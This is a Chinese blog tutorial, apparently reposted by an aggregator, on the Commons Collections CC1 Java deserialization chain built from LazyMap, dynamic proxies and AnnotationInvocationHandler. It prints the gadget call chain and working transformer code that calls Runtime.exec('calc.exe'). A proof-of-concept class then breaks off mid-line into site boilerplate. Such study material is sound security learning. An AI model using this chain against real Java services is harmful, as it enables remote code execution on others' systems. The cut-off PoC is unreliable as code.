CC1-下
Posted Zero_Adam
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CC1-下相关的知识,希望对你有一定的参考价值。
目录
1. 前言
JDK版本需要时 8u71
之前,尽管使用了动态代理…
也就是说**LazyMap
+ 动态代理** == TransformedMap。。。。。
相比较于 TransformedMap
链相比,多出来的就是我们要了解 LazyMap
,还有动态代理。
LazyMap
的漏洞触发点和TransformedMap
唯一的差别是,TransformedMap
是在写入元素的时候执行transform()
,就是在put()
数据,写入键值对的时候,会调用它的第二个,第三个参数的 transform()
函数。还有Map.Entry
的方法,现在知道,至少setValue()
能够了。
The Map put methods and Map.Entry method are affected by this class
LazyMap
是在其 get
方法中执行的 factory.transform()
方法。 为什么是这样的呢?
像P神说的: LazyMap
的作用就是懒加载,在 get 找不到值的时候,他就会调用 factory的transform
方法去获取一个值:
public Object get(Object key)
// create value for key if key is not currently in the map
if (map.containsKey(key) == false)
Object value = factory.transform(key);
map.put(key, value);
return value;
return map.get(key);
但是相比于TransformedMap
的利用方法,LazyMap
后续利用稍微复杂一些,原因是在sun.reflect.annotation.AnnotationInvocationHandler
的readObject
方法中并没有直接调用到Map
的get
方法。
那么我们就找一个类,什么类呢?,就是它会在自己readObject()
中调用到 Map.get()
方法,那么这个类就有潜能。
那么怎么去找呢?就是我们要分析的东西了
利用链
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
2. 前置知识
2.1 LazyMap
看一下类注释。
翻译:
装饰另一个Map
,来按照需求在map中创建对象;当 @link #get(Object)
这个方法被调用,且一个键不在map中,工厂将来创建对象,创建的对象将会作为需求key
的 value
,
/**
* Decorates another <code>Map</code> to create objects in the map on demand.
* <p>
* When the @link #get(Object) method is called with a key that does not
* exist in the map, the factory is used to create the object. The created
* object will be added to the map using the requested key.
* <p>
* For instance:
* <pre>
* Factory factory = new Factory()
* public Object create()
* return new Date();
*
*
* Map lazy = Lazy.map(new HashMap(), factory);
* Object obj = lazy.get("NOW");
* </pre>
*
* After the above code is executed, <code>obj</code> will contain
* a new <code>Date</code> instance. Furthermore, that <code>Date</code>
* instance is mapped to the "NOW" key in the map.
* <p>
* This class is Serializable from Commons Collections 3.1.
*
* @since Commons Collections 3.0
* @version $Revision: 1.7 $ $Date: 2004/05/07 23:30:33 $
*
* @author Stephen Colebourne
* @author Paul Jack
*/
public class LazyMappublic class LazyMap
extends AbstractMapDecorator
implements Map, Serializable
构造方法:
/**
* Factory method to create a lazily instantiated map.
*
* @param map the map to decorate, must not be null
* @param factory the factory to use, must not be null
* @throws IllegalArgumentException if map or factory is null
*/
public static Map decorate(Map map, Transformer factory)
return new LazyMap(map, factory);
当这个Map
调用get()
方法,而查找的key
又不存在的情况下,这个工厂就会被用来创建新的对象,而且将被添加到这个map中。
和TransformedMap
的用法也差不多,都是用来修饰一个Map
的,看个例子就懂了
public static void main(String[] args)throws Exception
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,new ConstantTransformer("adam"));
Object object = outerMap.get("1");
System.out.println(object);
outerMap.get("1")
返回的就是 ConstantTransformer("adam")
的那个transform()
方法返回的值,然后这是固定的,就是adam 了。
写一个命令执行: 触发的时候在 get()
,get什么内容随意的,上面懂了的化,自然懂。
Transformer[] transformers = new Transformer[]
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] String.class,
Class[].class , new Object[] "getRuntime",
new Class[0] ),
new InvokerTransformer("invoke", new Class[] Object.class,
Object[].class , new Object[] null, new Object[0]
),
new InvokerTransformer("exec", new Class[] String.class ,
new String[]
"calc.exe" ),
;
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,transformerChain);
Object object = outerMap.get("adam");
2.2 动态代理
之前学过了。我学了个shi,还是不会,
作为一门静态语言,如果想劫持一个对象内部的方法调用,实现类似php的魔术方法 __call
,我们需要用到 java.reflect.Proxy
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] Map.class, handler);
Proxy.newProxyInstance
的第一个参数是ClassLoader
,是要被代理类的ClassLoader
。我们用默认的即可;第二个参数是我们要代理的对象集合;第三个参数是一个实现了InvocationHandler
接口的对象,里面包含了具体代理的逻辑**。也就是我们具体是如何代理的。
之类贴一个 y4 师傅的一个劫持学习一下,然后把自己不会的也补了补
package aa;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
public class demo1
public static void main(String[] args)
/*这个是我们要被代理的实例,传入代理类的构造方法中*/
flag myflag = new GiveFlag();
InvocationHandler handler = new InvocationFlag(myflag);
// 这个差不读是固定的了
/*这个就是我们的代理实例了,代理的类型是 flag类型*/
flag getFlag = (flag) Proxy.newProxyInstance(GiveFlag.class.getClassLoader(),new Class[]flag.class,handler);
getFlag.getFlag();
getFlag.test();
interface flag
void getFlag();
void test();
class GiveFlag implements flag
@Override
public void getFlag()
System.out.println("your flag flagafam_s_flag");
@Override
public void test()
System.out.println("testestset");
class InvocationFlag implements InvocationHandler
private flag secretflag;
public InvocationFlag(flag myflag)
this.secretflag = myflag;
@Override
public Object invoke(Object object, Method method, Object[] args) throws Throwable
System.out.println("====================================");
System.out.println("开始代理了哦"); // 这个 Object object 用不上的,想要用对象的化,在构造方法中让他传参进来
if(method.getName().equals("getFlag"))
System.out.println("Hacker!! no flag");
return null;
System.out.println("正常的方法还是帮忙执行的呢");
Object ret = method.invoke(secretflag,args); // 知道了这里 invoke 不能使用 上面的Object,要使用 构造函数传进来的实例对象
return ret;
补充动态代理重点:
public static void main(String[] args)
flag myflag = new GiveFlag();
/*这个是我们要被代理的实例,传入代理类的构造方法中*/
/* 这里才是决定我们使用哪一个代理类来帮助我们进行代理的,这个 InvovationFlag 是必须有 invoke() 方法,的当然,不是 new 对象也行,Class.newInstance() 这样的形式也行,只要这个类是有 invoke() 方法的就行, */
InvocationHandler handler = new InvocationFlag(myflag);
// 这个差不读是固定的了
/*这个就是我们的代理实例了,代理的类型是 flag类型 , 我们走的 invoke() 方法就看 第三个参数的 handler 的,而handler是在上面决定的*/
flag getFlag = (flag) Proxy.newProxyInstance(GiveFlag.class.getClassLoader(),new Class[]flag.class,handler);
getFlag.getFlag();
getFlag.test();
用我们这个例子来说:
动态代理:需要实现类 ,然后需要代理类 ,代理类是需要我们自己写的,
然后三个参数,第一个参数不要用,要用实例的化,我们可以在我们的代理类中写一个 构造方法,然后获取到被代理类的实例,然后用invoke
执行被代理类 的方法即可,
main()
函数中,需要我们将被代理类对象实例当作参数传入代理类对象实例中InvocationHandler handler = new InvocationFlag(myflag);
。就是后面这个对象,决定了我们走 invoke()
的时候走的是哪一个 invoke()
。
然后再使用Proxy.newProxyInstance(,,第三个参数是我们的代理类对象实例,)
获取一个真正代理做事情的对象,
然后我们就用这个真正代理做事情的对象,调用任何被代理类对象实例的任何方法,都会先走代理类对象实例中写的invoke()
方法,
如果我们想做什么坏手段,都可以在代理类对象实例中写的invoke()
方法中坏事做尽
!
就是这里决定的。当然也可以这样:
3. LazyMap 分析
3.1为什么要使用动态代理
之所以会用到动态代理,就是因为如果我们不用TransformedMap
而用LazyMap
的话,AnnotationInvocationHandler
的readObject
里面并没有用到get()
,但是在invoke()
方法中却用到了:
public Object invoke(Object var1, Method var2, Object[] var3)
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class)
return this.equalsImpl(var3[0]);
else if (var5.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
else
byte var7 = -1;
switch(var4.hashCode())
case -1776922004:
if (var4.equals("toString"))
var7 = 0;
break;
case 147696667:
if (var4.equals("hashCode"))
var7 = 1;
break;
case 1444986633:
if (var4.equals("annotationType"))
var7 = 2;
switch(var7)
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null)
throw new IncompleteAnnotationException(this.type, var4);
else if (var6 instanceof ExceptionProxy)
throw ((ExceptionProxy)var6).generateException();
else
if (var6.getClass().isArray() && Array.getLength(var6) != 0)
var6 = this.cloneArray(var6);
return var6;
我们就用它的原生的invoke()
就能够实现我们想要做的坏事了( get() --> transform()
)
3.2 漏洞触发点
先得到方法的名字和参数的类型数组,再依次对方法名称的哈希值用**switch
判断,如果不是equals,toString,hashCode和annotationType
**的话,就会进入default
:
default:
Object var6 = this.memberValues.get(var4);
这个memberVallues
属性,就是我们构造函数中传入的被装饰后的 Map
,调用了get()
方法,然后我们get()
一个不存在的属性,然后他就走transform()
方法了。就触发了就,这个 memberValues
我们也是可控的,可在其构造方法的时候传入
关键是反序列化怎么才能触发这个invoke()方法
?注意到 AnnotationInvocationHandler类
继承实现了InvocationHandler类
,看到这里我恍然大悟,怪不得和动态代理有关。实际上对动态代理熟一点的话,我看到这个类的名字也就该想到了。
因此大致的思路也就有了,用AnnotationInvocationHandler
对我们构造的Map
进行代理
,这样在readObject
中,只要调用了委托对象
的任何方法,都会进入AnnotationInvocationHandler#invoke方法
中,从而触发了漏洞。
3.3 构造poc
package ysoserial.test.adamtest;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class test01
public static void main(String[] args) throws Exception
Transformer[] transformers = new Transformer[]
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] String.class,
Class[].class , new Object[] "getRuntime",
new Class[0] ),
new InvokerTransformer("invoke", new Class[] Object.class,
Object[].class , new Object[] null, new Object[0]
),
new Invoke以上是关于CC1-下的主要内容,如果未能解决你的问题,请参考以下文章
当进行make命令学习是出现error trying to exec 'cc1': execvp: No such file or directory